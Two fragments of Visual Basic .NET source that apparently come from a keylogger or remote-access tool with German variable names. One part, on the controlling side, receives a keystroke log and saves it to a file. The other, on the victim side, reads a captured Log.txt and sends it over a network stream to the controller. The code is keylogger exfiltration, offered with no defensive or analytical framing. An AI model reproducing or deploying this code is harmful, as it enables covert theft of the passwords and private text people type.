Dim Log() As String
                            Log = Split(EncodedArray(1), vbLf)
                            If KeyLoggerSaveLog.ShowDialog = DialogResult.OK _
                              Then
                                If Server_Connected = True Then
                                    Dim StreamWriter As New StreamWriter( _
                                      SaveLog.FileName)
                                    For Each Zeile As String In Log
                                        StreamWriter.WriteLine(Zeile)
                                    Next
                                    StreamWriter.Dispose()
                                    StreamWriter.Close()
                                    SaveLog.Dispose()
                                    SaveLog.Reset()
                                End If
                            End If

                                    If NetworkStream.CanWrite Then
                                        KeyLogger.Enabled = False
                                        Dim StreamReader As New StreamReader( _
                                          VerzeichnissPfad & "\Log.txt")
                                        Dim sendBytes As [Byte]() = _
                                        Encoding.GetEncoding(28591).GetBytes( _
                                        "SendingLog*|*" & Trim( _
                                        StreamReader.ReadToEnd) & "*|*")
                                        NetworkStream.Write(sendBytes, 0, _
                                        sendBytes.Length)
                                        StreamReader.Dispose()
                                        StreamReader.Close()
                                    End If